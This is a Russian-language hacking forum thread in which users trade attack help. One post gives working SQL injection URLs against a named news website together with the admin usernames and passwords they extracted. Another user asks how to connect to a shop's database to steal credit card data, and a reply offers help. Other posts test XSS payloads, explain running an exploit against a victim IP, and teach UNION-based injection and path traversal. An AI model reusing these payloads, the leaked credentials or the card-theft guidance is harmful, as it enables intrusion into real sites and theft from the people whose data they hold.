10.01.2010, 14:44
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
В cmd выдает: usage 1.exe <target_ip>
Ну запусти сплойт с параметром "<target_ip>" - это ip адрес жертвы
example:1.exe 192.168.0.1
Зы:Самого сплойта я не видел и насчет МС незнаю
|
|
|
10.01.2010, 15:21
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
2 Gidz
http://www.asianewsnet.net/news.php?id=6+UNION+SELECT+1,2,3,4,5,6,7,8,9,UserN ame,11,12,13,14,15,Password,17,18,19,20,21,22,23,2 4+from+tuser+limit+1,1--
administrator:0641
http://www.asianewsnet.net/news.php?id=6+UNION+SELECT+1,2,3,4,5,6,7,8,9,UserN ame,11,12,13,14,15,Password,17,18,19,20,21,22,23,2 4+from+tuser+limit+2,1--
admin123:admin123
http://www.asianewsnet.net/news.php?id=6+UNION+SELECT+1,2,3,4,5,6,7,8,9,UserN ame,11,12,13,14,15,Password,17,18,19,20,21,22,23,2 4+from+tuser+limit+3,1--
ann:bkk1854
И так далее и тому подобное...
|
|
|
|
10.01.2010, 16:32
|
|
Banned
Регистрация: 14.06.2008
Сообщений: 34
С нами:
9424793
Репутация:
13
|
|
delete
Последний раз редактировалось Darren; 19.02.2010 в 23:27..
|
|
|
|
10.01.2010, 19:49
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от Darren
у меня есть к sql шопа. Как подключиться к базе для слива сс?
"DB_HOST" =>
"DB_NAME" =>
"DB_USER" =>
"DB_PWD" =>
Скидывай сюда переменные с полными занченями..мы попробуем сообразить как подключится.
|
|
|
|
10.01.2010, 19:37
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
а xss потенциальная случайно нигде в ссылку (кликабельную) не попадает?
|
|
|
|
10.01.2010, 19:41
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами:
10018169
Репутация:
1680
|
|
Сообщение от Pashkela
а xss потенциальная случайно нигде в ссылку (кликабельную) не попадает?
Неа, итоговый код оказываетя потом в такой конструкции:
Код:
<td bgcolor="white"><font color="#000000"><BODY ONLOAD=alert('lol')>ASS</font></td>
|
|
|
|
10.01.2010, 20:08
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
2 Nightmarе:
<td bgcolor="white"><font color="#000000"><BODY ONLOAD=javascript:alert()>ASS</font></td>
только что проверил в последних OPERA, IE, в FF не запахало почему-то
Последний раз редактировалось Pashkela; 10.01.2010 в 20:10..
|
|
|
|
10.01.2010, 20:12
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами:
10018169
Репутация:
1680
|
|
Сообщение от Pashkela
2 Nightmarе:
<td bgcolor="white"><font color="#000000"><BODY ONLOAD=javascript:alert()>ASS</font></td>
только что проверил в последних OPERA, IE, в FF не запахало почему-то
И что это мне даст?
В моём примере такой же алерт был рабочий, то что его можно вывести я так-же в курсе.
|
|
|
|
10.01.2010, 23:08
|
|
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
С нами:
10268804
Репутация:
208
|
|
ребята, у меня 3 вопроса вот уже долго инетресуеют, но думал со временем пойму, но не смог  )
1. Как понять запрос: and 1=0, или or 1=1
2. когда запрос начинается с ?id=-11+union.... - это значит именно этот - (минус) в начале ?
3. часто, или постоянно в инексиях замечаю такое:
select+1,2,3,4,5,6,7,8,9,10,11,12.. или такое: /../../../../../
можете обяснить что это значит и от чего зависит длина т.е. откуда берется эти цифры. |
|
|
|
10.01.2010, 23:16
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Сообщение от B1t.exe
ребята, у меня 3 вопроса вот уже долго инетресуеют, но думал со временем пойму, но не смог )
1. Как понять запрос: and 1=0, или or 1=1
2. когда запрос начинается с ?id=-11+union.... - это значит именно этот - (минус) в начале ?
3. часто, или постоянно в инексиях замечаю такое:
select+1,2,3,4,5,6,7,8,9,10,11,12.. или такое: /../../../../../
можете обяснить что это значит и от чего зависит длина т.е. откуда берется эти цифры. Для кого статьи придумали?
1. 1 никогда не 0, условие не выполняется, нужно для скуль
0 равно 0, выполняется, также ноебходмо
2. минус ставится, чтобы в Бд не было такого айди дабы выводились видимые поля
3. цифры - для поиска выводимых полей. ../ - для инклуда файлов, пднятие по каталогам
Вообще, почитай статьи
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
